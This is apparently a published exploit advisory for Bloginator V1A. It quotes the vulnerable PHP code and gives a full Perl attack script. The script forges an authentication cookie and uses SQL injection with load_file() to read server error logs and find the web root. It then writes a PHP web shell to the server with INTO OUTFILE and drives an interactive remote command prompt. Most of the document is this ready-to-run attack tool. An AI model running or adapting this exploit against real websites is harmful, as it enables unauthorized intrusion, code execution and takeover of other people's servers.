Bloginator 1a SQL Command Injection

`##########################################################################  
  
Author = FireShot , Jacopo Vuga.  
Thx to = Osirys for develop the Exploitation Code with me  
Mail = fireshot<at>autistici<dot>org / osirys<at>autistici<dot>org  
  
Vulnerability = SQL Command Injection (mq = off)  
Software = Bloginator V1A  
Download = http://kamads.com/kamads_ads/download.php?email=bloginator&ID=0  
  
Greets to = Myral, str0ke  
  
###########################################################################  
  
[CODE]  
  
  
[URL] www.site.com/bloginator/articleCall.php  
  
global $name,$password,$returnLink;  
$p_name = strip_tags(substr($_POST['name'],0,32));  
$p_password = strip_tags(substr($_POST['password'],0,32));  
if(crypt($p_name , $name) == $name and crypt($p_password,$password) == $password )  
{  
  
setcookie("identifyYourself","you are identified");  
print "Login successfull<br>";  
print $returnLink;  
}  
else {print "Wrong username or password";  
}  
}  
[...]  
$action = @$_GET['action'];  
[...]  
$id = $_GET['id'];  
[...]  
function editArticle($id,$message)  
{  
global $returnLink;  
$query = "select * FROM articles WHERE id='$id'";  
$sql = mysql_query($query) or die(mysql_query());  
$title = mysql_result($sql,0,'title');  
$title = htmlentities($title);  
$article = mysql_result($sql,0,'article');  
$article = htmlentities($article);  
$link = mysql_result($sql,0,'link');  
$link = htmlentities($link);  
  
startHTML("Edit ID # ".$id);  
?>  
  
[/CODE]  
  
  
[EXPLOIT]  
  
#!/usr/bin/perl  
  
use IO::Socket;  
use LWP::UserAgent;  
  
my $host = $ARGV[0];  
my $rand = int(rand 9) +1;  
  
my @error_logs = qw(  
/var/log/httpd/error.log  
/var/log/httpd/error_log  
/var/log/apache/error.log  
/var/log/apache/error_log  
/var/log/apache2/error.log  
/var/log/apache2/error_log  
/logs/error.log  
/var/log/apache/error_log  
/var/log/apache/error.log  
/usr/local/apache/logs/error_log  
/etc/httpd/logs/error_log  
/etc/httpd/logs/error.log  
/var/www/logs/error_log  
/var/www/logs/error.log  
/usr/local/apache/logs/error.log  
/var/log/error_log  
/apache/logs/error.log  
);  
  
my $php_c0de = "<?php echo \"st4rt\";system(\$_GET[cmd]);?>";  
  
($host) || help("-1");  
cheek($host) == 1 || help("-2");  
&banner;  
  
$datas = get_input($host);  
$datas =~ /(.*) (.*)/;  
($h0st,$path) = ($1,$2);  
  
  
print "[*] Generating error through GET request ..\n";  
  
get_req($host."/osirys_log_test".$rand);  
  
print "[*] Cheeking Apache Error Log path ..\n";  
  
while (($log = <@error_logs>)&&($gotcha != 1)) {  
my $regexp = "File does not exist: (.+)\/osirys_log_test$rand";  
my $sql_load_file = "/articleCall.php?action=edit&id=osirys' union select 1,2,3,4,load_file('".$log."'),6,7 order by '*";  
$re = sql_socket($sql_load_file,$regexp,"1");  
if ($re !~ /Failed/) {  
$site_path = $re;  
$ok = 1;  
}  
if ($ok == 1) {  
print "[*] Error Log path found -> $log\n";  
print "[*] Website path found -> $site_path\n";  
&inj_shell;  
}  
else {  
print "[-] Couldn't file error_log !\n";  
}  
}  
  
sub inj_shell {  
my $attack = "/articleCall.php?action=edit&id=osirys' union select 1,2,3,4,'".$php_c0de."',6,7 into outfile '".$site_path."/1337.php";  
my $regexp = "st4rt";  
my $re = sql_socket($attack,$regexp,"2");  
if ($re == 1) {  
print "[*] Shell succesfully injected !\n";  
print "[&] Hi my master, do your job now [!]\n\n";  
$exec_path = $host."/1337.php";  
&exec_cmd;  
  
}  
else {  
print "[-] Shell not found \n[-] Exploit failed\n\n";  
exit(0);  
}  
}  
  
sub exec_cmd {  
$h0st !~ /www\./ || $h0st =~ s/www\.//;  
print "shell[$h0st]\$> ";  
$cmd = <STDIN>;  
$cmd !~ /exit/ || die "[-] Quitting ..\n";  
my $exec_path_ = $exec_path."?cmd=".$cmd;  
my $re = get_req($exec_path_);  
my $content = tag($re);  
if ($content =~ /st4rt(.+)\*\*6/) {  
my $out = $1;  
$out =~ s/\$/ /g;  
$out =~ s/\*/\n/g;  
chomp($out);  
print "$out\n";  
&exec_cmd;  
}  
else {  
$c++;  
$cmd =~ s/\n//;  
print "bash: ".$cmd.": command not found\n";  
$c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n";  
&exec_cmd;  
}  
}  
  
sub sql_socket() {  
  
my($sql,$regexp,$way) = @_;  
$sql = tag_encode($sql);  
  
my $url = $path."/".$sql;  
  
my $data = "GET ".$url." HTTP/1.1\r\n".  
"Host: ".$h0st."\r\n".  
"Keep-Alive: 300\r\n".  
"Connection: keep-alive\r\n".  
"Content-Type: application/x-www-form-urlencoded\r\n".  
"Cookie: identifyYourself=you+are+identified;\r\n".  
"Content-Length: 0\r\n\r\n".  
"\r\n";  
  
my $socket = new IO::Socket::INET(  
PeerAddr => $h0st,  
PeerPort => '80',  
Proto => 'tcp',  
) or die "[-] Can't connect to $h0st:80\n[?] $! \n\n";  
  
$socket->send($data);  
  
if ($way == 1) {  
while ((my $e = <$socket>)&&($stop != 1)) {  
if ($e =~ /$regexp/) {  
$gotcha = $1;  
$stop = 1;  
}  
}  
}  
elsif ($way == 2) {  
my $re = get_req($host."/1337.php");  
if ($re =~ /st4rt/) {  
$gotcha = 1;  
$stop = 1;  
}  
else {  
$gotcha = 0;  
$stop = 0;  
}  
}  
if ($stop == 1) {  
return($gotcha);  
}  
else {  
return("Failed");  
}  
  
}  
  
sub get_req() {  
$link = $_[0];  
my $req = HTTP::Request->new(GET => $link);  
my $ua = LWP::UserAgent->new();  
$ua->timeout(4);  
my $response = $ua->request($req);  
return $response->content;  
}  
  
sub cheek() {  
my $host = $_[0];  
if ($host =~ /http:\/\/(.*)/) {  
return 1;  
}  
else {  
return 0;  
}  
}  
  
sub get_input() {  
my $host = $_[0];  
$host =~ /http:\/\/(.*)/;  
$s_host = $1;  
$s_host =~ /([a-z.-]{1,30})\/(.*)/;  
($h0st,$path) = ($1,$2);  
$path =~ s/(.*)/\/$1/;  
$full_det = $h0st." ".$path;  
return $full_det;  
}  
  
sub tag() {  
my $string = $_[0];  
$string =~ s/ /\$/g;  
$string =~ s/\s/\*/g;  
return($string);  
}  
  
sub tag_encode() {  
my $sql = $_[0];  
$sql =~ s/ /\%20/g;  
$sql =~ s/</\%3C/g;  
$sql =~ s/>/\%3E/g;  
$sql =~ s/"/\%22/g;  
return($sql);  
}  
  
sub banner {  
print "\n".  
" ---------------------------\n".  
" SQL Command Injection \n".  
" via Cookie Bypass \n".  
" Bloginator V1A \n".  
" by FireShot & Osirys \n".  
" ---------------------------\n\n";  
}  
  
sub help() {  
my $error = $_[0];  
if ($error == -1) {  
&banner;  
print "\n[-] Input data failed ! \n";  
}  
elsif ($error == -2) {  
&banner;  
print "\n[-] Bad hostname address !\n";  
}  
print "[*] Usage : perl $0 http://hostname/cms_path\n\n";  
exit(0);  
}  
  
[/EXPLOIT]  
  
############################################################################   
  
`